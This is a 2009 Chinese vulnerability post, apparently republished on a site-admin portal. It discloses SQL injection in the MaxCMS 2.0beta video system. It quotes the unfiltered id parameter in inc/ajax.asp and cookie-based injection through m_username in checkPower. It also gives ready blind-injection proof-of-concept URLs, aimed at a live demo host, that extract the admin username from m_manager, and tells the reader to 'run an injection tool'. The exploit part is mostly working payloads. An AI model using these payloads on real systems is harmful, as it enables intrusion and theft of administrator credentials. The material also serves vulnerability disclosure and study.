马克斯CMS2.0beta (maxcms)SQL注入漏洞

作者:flyh4t 来源:wolvez.org 时间:2009-02-17 12:58:00 

这个系统是国内非常流行的视频点播系统,之前的1.5版本漏洞非常多,2.0版本在安全方面有所提高,但是依然有漏洞存在。

看代码

\inc\ajax.aspdim action : action = getForm("action", "get")response.Charset="gbk"Select  case action    case "newslist" : viewNewsList    case "newscontent" : viewNewsContent    case "digg","tread" : scoreVideo(action)    case "reporterr" : reportErr    case "hit" : updateHit    case else : mainEnd SelectterminateAllObjects……Sub scoreVideo(operType)    dim sql,id,digg,returnValue : id=getForm("id","get")    ‘通过get方式获取id的值    if rCookie("maxcms2_score"&id)="ok" then die "havescore"    if isNul(id) then die "err"    'on error resume next    digg=conn.db("select m_digg from {pre}data where m_id="&id,"execute")(0)    ‘ 参数id,没有过滤就带入sql语句进行查询    if err then digg=0 : err.clear()    if not isNum(id) then echoSaveStr "safe" else id=clng(id)    ‘ 查询到digg,注意返回的内容……

利用就很简单了,构造sql语句提交(默认结构是m_manager,m_username,m_pwd,根据返回的内容判断就可以了。如果构造的语句是正确的,就返回类似警告

你提交的数据有非法字符,你的IP【xxxx】已被记录,操作

构造的语句不正确,则返回500
Poc :

正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=97不正确的:http://demo.maxcms.net/inc/ajax.asp?action=digg&id=1%20and%20(select%20top%201%20asc(mid(m_username,1,1))%20from%20m_manager)=99

其实随便找个注射工具跑一下就ok了

另外一处注射

Sub checkPower    dim loginValidate,rsObj : loginValidate = "maxcms2.0"    err.clear    on error resume next    set rsObj=conn.db("select m_random,m_level from {pre}manager where m_username='"&rCookie("m_username")&"'","execute")    loginValidate = md5(getAgent&getIp&rsObj(0))    if err then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"    if rCookie("check"&rCookie("m_username"))<>loginValidate then wCookie "check"&rCookie("m_username"),"" : die "<script>top.location.href='index.asp?action=login';</script>"    checkManagerLevel  rsObj(1)    set rsObj=nothingEnd Sub

其中

Function rCookie(cookieName)    rCookie = request.cookies(cookieName)End Function

通过伪造cookie中m_username的值可以进行注射

不过要知道后台管理目录,默认是/admin/,多个页面可以触发改函数
比如 /admin/admin_ajax.asp

标签:maxcms,SQL,Injection,漏洞
0
投稿

猜你喜欢

  • Discuz!配置文件中的安全设置

    2010-02-02 19:55:00
  • 彻底解决局域网ARP攻击

    2009-12-24 09:49:00
  • Windows2003服务器安装及设置教程—软件安装与设置篇八—PHP5安装图解

    2010-01-31 17:02:00
  • 对百度收录新站的潜规则研究调查

    2008-11-27 17:57:00
  • 多少日ip的网站才能够上吃喝?

    2008-05-28 14:06:00
  • UCenter Home用户注册后跳转到更新个人资料页面的方法

    2009-07-23 20:00:00
  • 新手指导:Google Adsense 付款流程详解

    2008-08-21 11:02:00
  • 高效管理服务器的几个技巧

    2010-08-17 19:03:00
  • 谷歌Squared功能改进 但仍不认火星是行星

    2009-10-12 17:13:00
  • 国内最新模板引擎xingTemplate介绍

    2009-10-28 11:04:00
  • 详解Apache中.htaccess文件的功能

    2008-04-24 19:15:00
  • 如何快速提高网站的Google PR 值

    2008-02-01 13:18:00
  • 因SEO而升温的几大行业

    2007-10-02 12:37:00
  • Google推介的计划政策

    2007-10-23 14:56:00
  • 构建DNS服务器指南

    2009-02-10 15:50:00
  • 保护好IIS Web服务器的15个技巧

    2009-10-11 11:50:00
  • Windows2003服务器安装及设置教程——注册表篇

    2010-02-08 12:59:00
  • 百度搜索引擎近期算法调整 变化更新分析

    2008-12-31 09:43:00
  • Godaddy主机如何购买额外的SMTP Relays

    2010-05-04 13:00:00
  • SEO优化手册之三 进行网站的规范化设计

    2009-02-27 18:48:00
  • asp之家 网站运营 m.aspxhome.com